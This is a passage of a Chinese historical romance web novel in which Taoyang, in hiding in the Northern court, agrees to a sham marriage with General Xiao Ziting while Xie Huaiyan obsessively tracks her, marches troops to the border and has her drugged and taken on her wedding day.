桓馥知晓那个男人是庾睿时,当即起身就要前往颍川去找庾睿讨个说法,阿禾不让,事情已过去了两月之久,她只是奴籍,就算桓馥为她做主,她也不愿去颍川庾氏。 她说她想把孩子生下来,把她抚养长大。 桓馥应下她,为她在竹陵赁下一处小院,让她住下。 第二年春日,阿禾生下了一个女婴,当时,桓馥有了心上人,只不过她的心上人出身寒门,她根本嫁不得他,她和心上人商议,带上银子一起离开竹陵。 桓馥逃跑的第二日,桓氏中人找到了阿禾居住的小院,逼问阿禾桓馥的下落,那时阿禾刚生下孩子,身子虚弱,春日峭寒,他们把阿禾关在阴冷的屋中—— 桓馥被桓氏中人找回,来到这里时,阿禾已经昏迷在屋内,桓馥请了大夫来,阿禾躺在榻上面色惨白,气息微弱就要下榻来跪下求桓馥,被桓馥握住手制止。 阿禾轻声道:“姑娘,我不行了,我的孩子——” 阿禾眼角滚下清泪,桓馥也红了眼:“我会照顾好她,把她当自己的孩子,咱们一起照顾她——”阿禾对桓馥摇头,看了眼榻边摇篮里的婴儿。 桓馥问她:“可给她起名字了么?” 阿禾看着孩子,轻笑:“我怀着她时,最爱吃桃子,就叫她小桃儿吧。” 阿禾走了,桓馥的心上人也被桓氏中人打死,她心如死灰,在桓氏闹了许久,最后阴差阳错带着孩子嫁入了阳夏谢氏。 为她再起名,桃漾。 谢桃漾。 桃漾在屋中祭拜过她生母后,在窗边坐了许久,才上榻睡下。 翌日,再来到铺子里开张,忙活一晌午后,隔壁胡饼铺的小霜抬手给桃漾指了指:“姐姐,那里有两个人一直在看着你。”桃漾闻言抬眸看过去,两个作小厮打扮的人急忙躲开。 待到第二日,这两个人再出现在那里,桃漾去找了萧子亭,想让他帮忙查一下那两个是什么人,当晚,萧子亭来到这里,与桃漾道:“他们是淮阳谢氏的人——” 第64章 成亲他要成婚,总得送份大礼才是 崔寅带人快马赶至司州,将谢怀砚亲手所书书信递给司州刺史,之后,司州刺史命人配合崔寅翻阅自年关后所有前往北朝的船只记录。 尤其是颍川庾氏的商船。 很快,崔寅就查到三月初三日前往北朝的一艘运送丝绸布匹的货船,他沿途查下去,发现这艘货船在南北朝交界之地的水临县彻底失了踪迹。 水匪劫路,几艘船上的人死伤无数。 之后,崔寅坐船返程回豫州,空渊则带了数十部曲坐船往北朝去。 因船只在水临县失了踪迹,空渊就在以水临县为中心的附近州府搜寻,并传信给了建邺城中的谢氏商铺暗线,让他们看着画像找人。 桃漾她们糕点铺前出现的那两名小厮正是谢氏在建邺的商铺暗线,他们拿了画像找到这里,只是,空渊未来到建邺他们不敢轻举妄动,只能悄悄的盯着。 萧子亭与桃漾说出是淮阳谢氏中人时,见桃漾温润的眉眼瞬时黯淡下去,面色煞白,如同书本中写的被妖邪附了体,萧子亭垂眸看着她:“桃漾——你怎么了?” 桃漾对他摇了摇头,低声道:“我没事。”她抬眸再往那两个小厮之前所在的位置看过去,回身和陈月漪相视一眼,两个人心照不宣的开始收拾东西关铺子。 待回到院中,阿婆正在竹板前翻晒药材,见她们回来,笑道:“今儿怎回来的这般早?”桃漾走上前,神色温和中带着几许不安:“阿婆,我们要走了。” 阿婆闻言很是讶异的‘啊’了声:“为何要走?”桃漾不愿细说,只道:“糕点铺子还要麻烦您找牙人转租,日后若有机会我和阿月再回来看您。” 她一直是个有主意的姑娘,阿婆见她神色认真说完这些话,就要进屋收拾东西,这一切来的太过猝不及防,阿婆在院中站着,一时也不知再说什么。 待她们收拾好,走出屋门时,萧子亭再来了这里。 正值申时,日光还暖着,他站在院中树下,神色认真与桃漾道:“那两个小厮我已命人处理,有我在,不管谢氏中人要对你做什么,都不会让他们如愿。” 他的话语沉稳坚定,让人听在心里不觉间踏实几许。 第二日,空渊来到建邺城寻到‘这两个小厮’,‘两个小厮’带他前去三槐街上的药食同源铺,那里确实是有两位姑娘,却不是五姑娘,只是眉眼有上几分相似罢了。 空渊上前去买了份莲子糕,味道也完全不同。 之后,他拿着他家公子给的令牌动用谢氏在建邺的所有暗线以及各商铺中人,始终未有所获,留下暗线继续在建邺城守着后,他再去了北朝的其他州府。 药食同源铺再重新开起来,一直过了月余,再未有谢氏中人来过三槐街,这日晚间,萧子亭在院中和阿婆她们一起用过晚膳后,桃漾送他离开。 走至院中那棵粗壮的榕树下时,萧子亭忽然停住步子,眸光落在桃漾发间,随后自袖中取出一支碧玉缀蝶簪递在桃漾面前,神色平和道:“我见你发间一直戴着支银簪,昨儿在街上偶然瞧见,觉得姑娘家应该喜欢这个,就给你买了支。” 桃漾的眸光落在他手中的碧玉簪上,默上片刻,抬眸看向萧子亭,夜色中她眸光澄亮,神色清和,萧子亭看着她,再往她面前递了递。 桃漾对他莞尔,语气清淡道:“萧将军不必把心思放在我身上。”她如此言说,萧子亭眉心微动,张了张口,许久才再道:“桃漾姑娘是已有了心上人么?” 桃漾对他摇头:“我没有嫁人的打算。”她的话语永远这样,轻柔而坚定,让人想要再开口,可对上她的目光时却又再把满腔的话语都给咽回去。 萧子亭不由得想到那日在糕点铺子前,她听闻到淮阳谢氏时的神色,她和谢氏是什么关系?不愿嫁人又是否和谢氏中人有关? 萧子亭拿着玉簪回了他的府邸,之后的几日没再去过糕点铺,直到半月后的一个傍晚,天幕刚微微暗下,魏璟扶着醉的一塌糊涂的萧子亭来了阿婆这里。 阿婆见状,神色凝住‘哎呀’了声,问魏璟:“怎让他喝了这么多的酒?”已是暮春,夜风不凉,魏璟把萧子亭搁在院中躺椅上后,一连叹了两声,拉住阿婆的手在石桌前坐下。 声情并茂的与阿婆道:“您还不知道么,他今岁都二十七了,像他这么大的人孩子都一堆了,长公主殿下整日里的催,他又无心娶妻,跟他母亲大吵了一架。” 阿婆闻言神色沉重,事关长公主,她也不好说什么。 桃漾本是也在院中,怀中端着一竹筐的草药就要往屋里回,魏璟见状急忙唤住她:“桃漾姑娘,你心思最是灵巧,你来说说这事该如何办?” 桃漾停住步子看过来,与魏璟道:“将军的家事,我亦不知。” 魏璟见她还要走,起身走过来自桃漾手中接过竹筐,再道:“我倒是有个主意!” 桃漾看着被魏璟抱走的竹筐,再抬眸看向他。 魏璟清了清嗓子,认真道:“子亭这些年一心扑在打仗上,无心儿女之情,不如娶个假夫人做做样子,把长公主殿下给骗过去就是了。” 阿婆闻言轻哼了声:“说的轻巧,娶个假夫人,那不是耽搁人家女孩子么?” 魏璟再看向桃漾:“不知桃漾姑娘可愿意么?与子亭假成亲,只须一年——”魏璟观着桃漾的神色,再把话说重了些:“这段时日子亭可没少帮桃漾姑娘的忙。” “无论是建邺还是其——” 一直躺在躺椅上的萧子亭连咳了好几声,把魏璟的话给打断。 正好这时陈月漪煮了醒酒汤端过来,萧子亭服下后,看了魏璟一眼,清了清嗓子与桃漾道:“他口无遮拦,你别在意。” 萧子亭站起身,来到桃漾面前,再道:“桃漾,你不嫁人我不勉强,与我成亲一年,既可护了你,也可成全了我,待一年后若你还未改变心意,便可自行离去。” 萧子亭话说的温和,阿婆如何不知道他的心思,也看向桃漾,温声道:“虽然你不说,我也知道你一直在怕,怕有人来找你,若是嫁给了子亭,成了他的夫人,这偌大的北朝,再也无人敢动你!” “什么淮阳谢氏,权势再大那也是南朝人,手再长也伸不来咱们北朝,就算要伸,也有子亭在呢。” 虽说再未有人盯着糕点铺,这段时日桃漾心里也不安稳,夜间时常被噩梦惊醒,从前在豫州,桓恒对抗不了谢怀砚,庾子轩也不能。 如今来了北朝,萧子亭可以。 桃漾抬眸看向萧子亭:“萧将军这边说话。” 他们来到前院游廊下,桃漾神色清淡与他道:“有些话还是要跟将军说清楚,”她顿了顿,秀眉不觉间凝住:“我虽未嫁过人,却已不是清白之身,亦是自府中逃出。” 她的话字字句句落在萧子亭耳边,清晰却又令人不可置信,可仔细想来,她不远千里来到北朝,定是发生了什么让她痛苦的事。 游廊下很安静,只偶尔传来几声鸟啼。 默上片刻,桃漾对他施礼欲走,萧子亭抬手握住她的手腕,沉声道:“桃漾姑娘是品性高雅之人,不嫌弃我是个武将就好,”他走至桃漾面前:“既是已过去之事,就都忘了吧,这世道对女子本就不公,你既有勇气逃离,日后总该过上称心如意的好日子。” 夜风轻拂,萧子亭今夜虽未醉,身上却也做模样的染了些许的酒气,桃漾抬眸来看他,轻声道:“可以先给我一封只署你名姓的和离书么?” 萧子亭闻言轻笑出声:“你答应了?” “可以,我今晚就写给你,让阿婆做见证。” 自那夜桃漾回绝了萧子亭的玉簪后,萧子亭一直没有来小院,整日里待在校场练兵,魏璟前去见他,与他开解道:“姑娘家都是要追的,脸皮薄怎么能行?” 萧子亭一边拉弓对准箭靶一边回他:“我怕再常去小院,会让她心烦扰了她。” 魏璟动着脑瓜子给他出主意:“那不如以退为进,想法子先把人留在身边,到时候你就对人家好,这世上人心都是肉长的,她一个孤身在外的姑娘,如何不想要一个依靠,只不过心有戒备,不敢随意付诸于人罢了。” 萧子亭这些年没喜欢过什么女子,这几日心中已是尝遍不得滋味,思忖后对魏璟颔首:“那便试上一试。” 萧子亭让阿婆做了见证,提前给桃漾写了封和离书。 不过,如今正值暮春,将要入夏,是桃漾做药用香囊最忙碌的时节,没有时间准备出嫁,左右和离书上写的是大婚后一年,萧子亭也不急。 婚期就定在了重阳节后。 入秋时,桃漾和陈月漪用攒下的银子买下了一座两进小院,和阿婆的院子只隔了几户人家,离得重阳节还有月余,搬完家后也开始准备成亲的事。 只是,今岁的夏日格外闷燥,统共没下几场雨,大地干旱,以至很多州府百姓颗粒无收,陛下下令各州府开放粮仓赈灾,只是有的州府存粮不够,百姓依旧叫苦连天。 萧子亭给陛下上书自建邺运粮至各州府救济百姓,陛下应允,只是乱中更易生匪,运往各州府的赈灾粮在沿途被山匪所劫,八月中,陛下命萧子亭亲自带兵前去清匪患。 他和桃漾的亲事只能再往后延,定在了来年的三月初。 —— 空渊带人寻遍了北朝的各州府,始终未有桃漾的踪迹,于是,他带人再去了水临县,在江底挖那日被水匪所劫死在水底的尸首,只是,时日过去已久,哪能再寻到。 无非是找些随身不易腐朽的物件罢了。 找了一日一夜后,手下人交上来了一只鹰牌。 空渊知道,这是颍川庾氏栖云坞的鹰牌—— 鹿鸣山中,谢怀砚一袭墨衣坐在碧月阁内的八角古亭下,冷白指节间捏着一块气息香甜的莲子糕,谢满跪在一侧,身子抖如筛糠,垂首不敢言语。 直到上首之人嗓音低沉道:“下去。” 谢满如得了赦令,立即起身退下。 桃漾只教给过两个人做莲子糕,陈月漪已不在,只剩下谢满。 只是谢满也只学过一回,做不出桃漾做的莲子糕味道,这数十日她没日没夜的做糕点,此时走出碧月阁,心神忽然松下,哇的一声就哭了。 谢怀砚把她从清心庵带出来,治好了她的疯傻,也允了她和谢舟的亲事,而谢满只须做一件事,每日做出一盘莲子糕给他送过来。 之后的一段时日,谢满每日端来的莲子糕他似是都很满意,这日,谢满跪在他面前,低声问:“公子,我,我可以和谢舟见一面么?” 他允了他们的亲事,却不让他们相见。 谢怀砚手中捏着一块莲子糕在鼻息间轻嗅,闻言冷笑一声,嗓音低沉意味不明:“见面?呵,有什么好见的,他根本就不在乎你,你还一心想着他?你在清心庵时他管过你的死活么?” 谢满为谢舟解释:“不是的,不是这样——我和他有情意。” 谢怀砚听到‘有情’二字,鄙夷的笑了下:“那就永远也别想再见!” 他这段时日一直歇在鹿鸣山中,就住在桃漾之前住过的卧房,入夜,他身上着宽大寝衣坐在榻边,神色清淡,眉眼昳丽,指腹间抚着那枚冰凉的鹰牌。 空渊手中端了木托盘走近,低声道:“公子。” 谢怀砚抬眸看去一眼,冷白指节拿过面前的五石散,很是熟稔的服下。 空渊再退了出去,熄了卧房内的烛火。 谢怀砚躺在枕上,不消多时,那张清丽的面靥就出现在他面前,他一把揽过她,吻上她嫣红柔软的唇,气息灼烫,似要将她揉碎入腹。 “桃漾,你在哪儿?” 她娇靥绯红,被他吻的眸光潋滟,凉凉的指腹落在他眼尾,轻声回他:“我在你身边啊!”她说的对,她在他身边,就在他怀中,他将她按在枕上,继续强势的吻她。 春浓帐暖,他撕下她的薄衫,在她的绣莲小衣上轻吻—— 长夜漫漫,无尽欢好。 八月中,空渊收到来自北朝暗线的书信,前往书房递给他家公子,谢怀砚垂眸扫过,本是漫不经心,眸光却在书信的某一处停下,过上许久,他口中道:“萧子亭——” “他要成婚,我总得送份大礼才是!” 第65章 第65章是谢怀砚么? 书信就搁在书案上。 谢怀砚起身离开后,空渊上前去收整,本以为只是一封与往日无异的书信,可他却无意看到书信上写着‘五姑娘与萧子亭将在来年三月完婚’。 空渊神色大惊,抬眸往他家公子离去的方向看过去。 重阳节后一日,谢怀砚收到建康城传来的圣旨,仁德帝萧肃任命他 为枢密院副使于九月底之前入建康面圣,九月十二日一早,谢怀砚自淮阳出发前往建康。 谢氏府中事暂由谢三郎君打理,临离开淮阳的前一日,谢怀砚去见了谢蕴,父子二人在书房坐了有一炷香的时辰,谢怀砚离开时,谢蕴与他道:“三郎初掌府中事,我会协助他。” 九月底,谢怀砚到了建康城面见过萧肃后,前去崔府拜见了他的老师崔老太傅,如今已是晚秋,他和崔太傅在后山庐中落座,谢怀砚抬手添茶,神色平和道:“此次自淮阳前来,为老师带了最爱喝的阳羡,老师尝尝。” 崔老太傅只谢怀砚一个学生,闻言温和笑了笑,与他问些豫州之事,说到最后不解道:“你如今已是谢氏家主,在豫州掌管兵马大权,正二品的官职,手上有着绝对的权利,” 崔老太傅抬手用了口茶:“为何要来建康?还让我在陛下面前举荐你入枢密院,从正二品到从二品不说,如今南北朝休战,你若想来建康有所作为,也该是入中书省才对。” 谢怀砚神色从容,再给崔老太傅添了盏茶:“近来学生常读兵书,有意去枢密院历练,待历练一番再入中书省不迟。”崔老太傅闻言不再说,师生二人开始聊些如今的朝中局势。 谢怀砚自崔府回到谢氏府宅天色刚暗,再设宴请谢二爷和谢三爷吃酒,此次自淮阳前来建康城为官,太过急切,除了他的老师在陛下面前举荐外,还有谢二爷和谢三爷在朝中梳拢。 宴席之上,谢怀砚与谢二爷谢三爷饮上几盏酒,空渊和空谷怀中抱了两只紫檀木盒来,谢怀砚神色平和道:“中秋时得了几样珍宝,物品虽贵重却不合我喜好。” 两只紫檀木盒分别在谢二爷谢三爷面前打开,自是投其所好之物,谢二爷谢三爷与谢怀砚敬酒,面色欢喜,道:“咱们都是一家人,怀砚何必客气。” 谢怀砚与他们再饮酒:“这段时日二叔三叔辛苦。” 谢怀砚此行入枢密院任枢密副使,朝中权贵皆不明他的心思,怎会有人放着豫州刺史不要来做枢密院的副使,不过,依旧没人敢得罪他,自他来到建康,前来府中拜访的人络绎不绝,谢怀砚一一接待,并回以厚礼。 不过月余的时日,谢氏二公子为人谦和,广纳贤才的名望在建康城已是人尽皆知。 自谢蕴辞官回淮阳后,如今朝中势力逐渐壮大的是临川卢氏,卢氏三爷在中书省任中书侍郎,为人桀傲,卢氏晚辈中儿郎遍布朝中三省六部。 皇权与士族之间的制衡延续数百年,从未有过终止。 卢氏早已成了仁德帝不得不除的一块腐肉,却奈何如今的士族盘根错节,牵一发而动全身,这几年萧肃不止一次试图挑起士族间的斗争,想用别的士族来打压卢氏,却一直未能如愿。 这日,他与谢怀砚在宫中暖阁内对弈,与谢怀砚随意问道:“听闻你与卢氏的七姑娘情投意合,就要定下亲事了?” 谢怀砚抬手落下一枚黑棋,薄唇勾笑:“谢氏从未提过与卢氏结亲,不过是坊间谣传。”萧肃闻言提着的神色松下,对谢怀砚笑道:“你也年纪不小了,该定下亲事了,不如孤为你指一个?” 谢怀砚轻笑:“臣刚来建康,还未为民谋福,怎敢只顾着私事。” 之后数日,谢怀砚常出入萧肃的寝殿,入了冬月后,建康城忽然发生两件大事,卢氏在建康以及各州府所做的钱庄生意,谋财害命,卢氏大郎君滥用职权压下此事。 卢氏五郎逼良为娼,强抢良家女近二十位,在府中与众官员日夜消遣为乐。 此两桩事一出,整个建康城的士族权贵皆都大门不出待在府中观望,第二日早朝,萧肃当着满朝文武厉声斥责卢氏,并下令将卢五郎与卢大郎关押入狱。 下早朝后,谢怀砚前来卢氏府邸拜访卢三爷,彼时,卢三爷正在府中大发雷霆,将谢怀砚骂了个遍,听到是谢怀砚前来府中拜访,对下人道:“竖子狂妄,让他走!” “晚辈可是做错了事,让卢三爷发这般大的脾气?”谢怀砚一袭绯色官服,气度从容走近,卢三爷侧首看他一眼,挤出几丝生硬的笑:“谢二公子不请自来,有何贵干?” 卢七是卢三爷的女儿,最初他很看好谢怀砚,也有意与谢氏结亲,只是他女儿自谢氏回来,提起谢怀砚就神色不悦,他只当是性情不合。 如今谢怀砚跑来建康,不过几月时日就动起了打压他们卢氏的心思,太过狂妄! 谢怀砚看他一眼,神色矜傲:“晚辈前来,是给卢三爷送这个。”他把一纸供书递出,上面赫然是卢五郎在狱中的招认,卢三爷看过去的第一眼,神色已变。 谢怀砚轻笑一声,回身看了一眼,空渊上前用火折子将供书烧为灰烬,谢怀砚语气平和道:“卢五郎招认卢氏钱庄草菅人命之事是三爷和大郎君一手操办,三爷可有话说?” 卢三爷自是认得卢五郎的字迹,丝毫作不得假,气势渐弱下来,轻哼一声:“胡说八道!” 谢怀砚淡淡‘唔’了声:“晚辈也是这般认为,此次前来是看在谢氏和卢氏向来交好,问一下卢三爷该如何处置卢五郎?”卢三爷默了默,转身背对着谢怀砚:“他犯下这等事,自是罪不容诛。” 谢怀砚对他应声,随后大步离去。 卢三爷看着他离去的背影,既气又恼的唾骂一声,却还只能领他的人情! 萧肃借着此事打压了卢氏,趁机收回一些卢氏手上的权利,对谢怀砚极为信任看重,年关过后,谢怀砚在早朝提出对北朝开战一事。 虽是这段时日朝中文武都得了谢氏的好处,事关两国战事,还是有不少朝臣站出反对,萧肃曾对谢怀砚言:“你如今任枢密副使,亲自带兵作战孤自是信你。” “不过,如今南北刚休战不过三年时日,朝中定是有不少人反对。” 开战与否,不过是君心。 这些人反对,谢怀砚并不在意,几日后,他将一份南北交界处定宁郡的地势图上书给萧肃,定宁郡早在几十年前归属于南朝,在萧肃刚即位时却被北朝所占,至今未能夺回。 一直是萧肃心中的一根刺。 谢怀砚再在朝中重新提起此事,朝臣之中反对之声已是寥寥。 萧肃看过定宁郡的地势图后亦当着文武百官应下,命常胜将军陈益随谢怀砚一同带兵前往北朝,势必要夺回定宁郡。 —— 桃漾没想到会在北朝见到陆氏中人。 她们的糕点铺子里有位常客,打扮富丽的一位中年妇人,每日午后都会过来这边买上一份莲子糕,说是她的婆母喜欢吃,时日久了,桃漾都会特意给她留上一份。 这日,落着雨的天气,妇人的马车依旧来了糕点铺子前,只是下马车来的却是一位中年男子,他撑着伞神色匆匆,声音温和:“来份莲子糕。” 说完,他才抬眸,看见桃漾的那一刻愣了愣神。 桃漾给他装完糕点,发觉到他的目光有些不对,心中警惕,再看向停在不远处的马车,温声问他:“可是糕点拿的不对么?” 这男子回过了神,将目光自桃漾眉眼间收回,笑声道:“冒昧问一下,姑娘家住何处,如何称呼?”桃漾只对他说了名字,再未言说其他。 男子看出她的防备,神色感伤解释道:“实不相瞒,姑娘与舍妹生的很是相像,只是,多年前她就已不在了。”桃漾对他轻轻颔首,思及那位妇人被人称作陆夫人,家中亦是做布匹生 意的。 她眉心微凝,再次看了看这男子。 之后,陆夫人再来买糕点,桃漾与她比从前更为熟络些,有时请她来铺子里小坐,也就问出了陆氏的由来。 当年,她生母一家日子过的穷困潦倒,她生母离去后,桓馥命人给他们送去银子,指点他们去做些生意谋生。 桃漾陪在桓馥身边,年少时便常看到有姓陆之人给桓馥送书信,她知她生母在入桓氏为奴前冠陆姓,之后长大些就让人私下去查,才知晓了是怎么回事。 确认无疑后,桃漾与陆氏中人认了亲。 萧子亭十月底回到建邺城,他外出这许久,回来的时候给桃漾带回了各州府稀罕的玩意以及当地人常用的物件,他站在糕点铺子前,神色欢喜与桃漾道:“待明年春日咱们成婚后,我带你去各州府走走。” 桃漾来北朝已近两年时日,还未去过其他州府,闻言对萧子亭颔首:“那得早些去,不能耽搁了做夏季用的药囊,正好也可以去别的地方瞧瞧,兴许能做出些新的花样来。” 萧子亭闻言轻笑:“不耽搁你的正事。”他还要再与桃漾说什么,身侧有人来买糕点,萧子亭只好站在一侧,看着桃漾给人装糕点。 晚间,一同在阿婆院中用过晚膳后,萧子亭再送给了桃漾一套笔墨纸砚,温声道:“我听阿月说糕点铺里的书画都是你作的,正好我书房也缺一副字画,哪日你有时间了便送我一副,可好?” 他看得出,桃漾不止读过很多书,对笔墨纸砚也很有兴趣,不愿她因忙着挣银子而无暇做她喜欢的事。 桃漾闻言抬眸看了看,这夜是上弦月,她刚与亲人相认,心情很不错,对萧子亭道:“你想要副什么样的,我现在就作给你。” 萧子亭未有所料,想了想与她道:“如今入了冬,便应景做副梅林雪景图罢。”他的话落,注意到桃漾温和的眉眼紧了一瞬,随即又温和与他道:“好。” 他们就在院中那棵粗壮的古榕树下作画,萧子亭在一侧帮她研磨,垂眸看着桃漾提笔,见她握笔有力,勾动间灵动洒脱,随口问她:“这般好的功力,不知老师是谁?” 桃漾轻声回他:“学堂里的夫子罢了。” 待桃漾笔下的画逐渐成形,萧子亭微微抬了眉,待她提笔在下方落字后,萧子亭上前认真看着这幅字画:“文人墨客向来不分南北,我曾在好友处见过几副谢墨的字画,这幅倒是与他的落笔有上几分相似。” 谢墨。 桃漾指节蜷握,因手中笔迟迟未动,墨迹不慎落在画卷上—— 萧子亭抬眸来看她,桃漾已搁下了笔,轻声道:“滴上了墨,回头我再重新给你作上一副。”她说完就垂眸默默收拾着纸张砚台,萧子亭只看着她,欲言又止。 萧子亭把染了墨迹的书画带了回去,他坐在书房的桌案前,垂眸一寸不错的看着,淮阳谢氏家主之子身份尊贵,他的名讳鲜少人知,可桃漾知道。 所以,一直在找她的,是谢怀砚么? 她的书画是他的痕迹。 已过去了两年之久,听到他的名字依旧失神,他们之间到底有过什么? 萧子亭虽把染了墨迹的书画带走,桃漾还是再作了一副送给他,入了冬后,建邺城有场狩猎宴,萧子亭是陛下亲封飞骑将军,自是必须到场。 长公主至今还未正式见过桃漾,亲自让身边的嬷嬷去了三槐街上给桃漾送了请帖,让她一同前去狩猎。 这日,建邺城里的权贵们纷纷聚此,起初听闻萧子亭要娶一个行商女时,纷纷在私下议论,如今见到桃漾,倒是堵了不少人的口。 虽是行商,举止却端庄大方,样貌更是清丽绝色。 于是,纷纷开始言说,难怪萧将军非娶她不可呢。 长公主早就私下偷偷去糕点铺子瞧过桃漾,对桃漾还算满意,当着众人的面送了桃漾一套宫中特有的金玉步摇,再无人敢言说此事。 先是热闹一番,之后就要骑马狩猎,因是男子女郎一起狩猎的宴会,多是玩乐,桃漾也上了马随萧子亭一起,萧子亭见她马儿骑的不错,就命人给她递了张弓。 桃漾垂眸看上一眼,温声道:“我不会射箭。” 这时,魏璟在一侧扬声道:“桃漾姑娘不会,可子亭会啊,他的箭术可是无人能敌,让他教你。”魏璟生怕别人听不见似的,声音洪亮,立时有别的人都看过来。 萧子亭对桃漾轻笑,朝她伸出手来,默上片刻,桃漾把手递给他,被他用力带到他的马背上,一前一后只挨了一指距离坐着,萧子亭拿出手中弓箭递在桃漾手中,低声问她:“想射只什么?” 桃漾想了想:“山鸡罢。” 萧子亭应她,让桃漾拿好弓箭,他在身后握住桃漾的手,双腿夹马腹,朝着林中去,不多时,便有一只山鸡乱窜,桃漾在萧子亭的指引下拉弓射箭,山鸡被一箭串在了树干上。 随侍上前去捡,萧子亭还要再带桃漾去射些别的,桃漾侧首来看他,轻声道:“不射了,我想下来。”二人本就挨的近,桃漾侧首抬眸来看他,眸光相对,可以听见彼此的呼吸声。 桃漾立时就要再转过身来,被萧子亭按在肩上,垂眸认真的看着她,见桃漾面靥绯红,神色微慌,对他再不是从容清淡,他心中自是欢喜,轻声道:“晚上去阿婆院中,我给你炖山鸡吃。” 说着,他翻身下马,再扶着桃漾下了马来。 日子一日一日的过,很快就又到了年关,萧子亭几乎每日里都要往糕点铺子里跑,小年这日,已是入了夜,他提了只食盒来:“今日入宫,宴席上有新鲜的桃子,就让宫人装了一食盒。” 桃漾提着食盒回到院中,唤了陈月漪一起来吃桃,陈月漪见她面色欢愉,笑道:“阿漾,你这几日忙着绣的香囊是给萧将军的吧?” 桃漾垂眸应了声:“我按着他的喜好搭配了些香粉,咱们铺子里没有。”陈月漪看着她这样,心中也欢喜:“你如今有了亲人,咱们在这里也有了家,日后就按着自己的心意生活。” 桃漾吃着甜桃也笑了笑,最后道:“他挺好的。” —— 行军队伍浩浩荡荡前往定宁郡,谢怀砚身披鹤氅坐在马车内,他面前的小几上是一封又一封敞开着的书信,自年前他收到那封萧子亭要大婚的书信后,这样的书信每隔几日就会送来一封。 她开了一间糕点铺。 她见到了陆氏中人。 她在准备和萧子亭的大婚。 : 他们每日在糕点铺前相见。 她为他作画。 同他去参加狩猎宴。 他教她射箭。 她为他绣香囊。 他们一起守岁。 他们就要大婚。 谢怀砚眸光幽暗扫过这些书信,淡淡阖上眼眸,马车内搁置着暖炉,他周身气度却冷沉如冰,烛火昏黄,映在他冷峻面庞,如同万恶地狱走出的修罗—— 三月初六日,大婚—— 第66章 相见唯有我身边才是你的容身之所 入了三月后,来了场倒春寒的雪。 早几日本已暖了的天气又开始冷起来,大婚前一日,陆氏中人来到桃漾这里,给她添了嫁妆,她没有母亲在身边,陆夫人就在她院中陪着,把女子出嫁该知晓的事一一讲给桃漾听。 胡饼铺的阿婆,打铁铺的阿梨都来了这里热闹。 夜里,窗外的雪已逐渐变小,窸窸窣窣的飘落着,冷风一阵又一阵,桃漾躺在枕上刚睡下,就听到了敲门声,她在枕上起身,对着门外问:“谁?” “是我。”萧子亭的声音。 桃漾起身披上狐裘上前推开门,见萧子亭身披大氅站在屋门前,满身的寒气,桃漾神色不解看着他:“怎这么晚来,可是发生了什么事?” 萧子亭对她颔首,声音沉闷道:“桃漾,对不起——祁州刺史命人快马来报,南朝军队已驻守在宁安郡外十里,陛下命我即刻带兵前往祁州,明日,我不能前来亲迎你入府了。” 桃漾看他神色凝重的说着,回到屋内取了汤婆 子来递在他手中,对他莞尔道:“没关系的,君命不可违,你只管放心去就是。” 萧子亭眸光深邃,一寸不错的看着她,自她手中接过汤婆子后,再道:“我已都安排好,明日魏璟会代我来迎亲,我府中没什么人,管家会将掌家之事一一交付给你,我已与母亲说过,若遇到什么事你只管去长公主府找她。” 桃漾对他点头,轻声道:“好。” 此时军队已整装待发,萧子亭是抽出时间来见的桃漾,他不能久待,与桃漾道:“明日有得忙,快回屋歇吧。”他说完,转身走出几步。 祁州刺史派来的副将说,此次带兵前来宁安郡的不止有常胜将军陈益,还有谢怀砚—— 副将说,他们的军队驻扎在宁安郡数十里外,初来那日马蹄声半个时辰不断,草木皆动,满地雪白被荡起,之后营帐扎满方圆数里,炊烟袅袅。 宁安郡里驻守士兵不过千人,郡守不敢大意,当即上报给了祁州刺史。 早几日各州府都落了雪,就算谢怀砚是在与北朝相挨的凉州调的兵,也不该如此突然的就来到了宁安郡外,他们的暗线不会丝毫不知情。 如此,便只有一种可能,谢怀砚手下带领的将士并不多,他是在虚张声势! 他是为了桃漾而来。 萧子亭再回过身朝桃漾走来,抬手将桃漾揽在怀中,在她耳边低声道:“不会很久,你的饰品铺子开业前我定能赶回为你庆祝。” 桃漾再对他颔首:“刀剑无眼,将军要平安归来。” 萧子亭的身影在雪夜逐渐消失,桃漾合上门回到屋内再上了榻,躺在枕上许久才睡下。 待到第二日一早,她和陈月漪的这座小院极为热闹。 长公主殿下命了宫里的嬷嬷前来为她梳妆打扮,大红嫁衣,凤冠霞帔,虽是魏璟代为前来迎亲,气势依旧浩大,热热闹闹了大半日,终于在申时迎了新妇入府。 桃漾入了将军府后,就被两个婆子引着入了后院的新房中,前院里热热闹闹的正在接待来客,后院很是安静,待她在榻边坐下,一婆子道:“将军不在,夫人不必在这苦等着,先用盏茶润润嗓子吧。” 忙活了这么久,桃漾确实口渴了,抬手自己掀开红盖头,接过婆子递来的茶水,放在唇边饮下。 只是片刻,她微微凝眉,纤白指节刚触在额间,整个人就倒在了身后的大红喜榻上,另一婆子见状,急忙就要大喊,却被身后蒙了面的高大部曲一掌敲晕在地。 —— 自建邺到祁州,一路上都在落雪。 萧子亭连夜带兵赶至祁州的宁安郡时,已是第二日的午后,他站在宁安郡的城楼上远眺,漫天飞雪还在细细的落,满地雪白中可见远处铺了一地的营帐。 依旧是炊烟袅袅,将士高声谈笑。 宁安郡郡守在萧子亭身侧神色凝重问:“萧将军,这南朝军队浩浩荡荡的来,却守在十里外不动如山,究竟是存的什么心思?” 萧子亭在城楼上站了许久,对身后副将吩咐:“取笔墨来。” 他写下一封书信,命人送去十里外的营帐,半个时辰后,他收到了谢怀砚的回信。 只有寥寥一语:“听闻萧将军今日大婚,我已命人备了大礼祝贺。” 萧子亭神色冷沉凝着书信上的字,默上片刻,对身后将领道:“点兵,随我出城!”一刻钟后,宁安郡城门大开,萧子亭骑马带领数千将士出城。 他可以确信,谢怀砚在跟他玩‘四面楚歌’的把戏! 他身边根本没有多少将士。 萧子亭带兵来至城外三里处时,迎面马蹄声四起,为首之人高坐马背之上,身着玄甲,气度矜贵,正是谢怀砚无疑! 而他身侧是常胜将军陈益,身后是一望无际的将士。 “耳闻萧将军盛名已久,今日一见,不过如此。”谢怀砚神色意味不明看着萧子亭,居高临下说出这句话。 萧子亭呵笑一声:“谢二公子倒是有胆魄,让我刮目相看,不过,你身后的将士在雪天里赶了许久的路刚到吧。”他猜的没错,他们的军队受大雪所阻,谢怀砚孤身带了不到上百将士前来。 他虚张声势许久,不过是在等陈益带大军前来罢了。 只可惜,宁安郡守是个钻地鼠,遇事慌乱,同样虚张声势的上报给了豫州刺史,错失了大好良机! 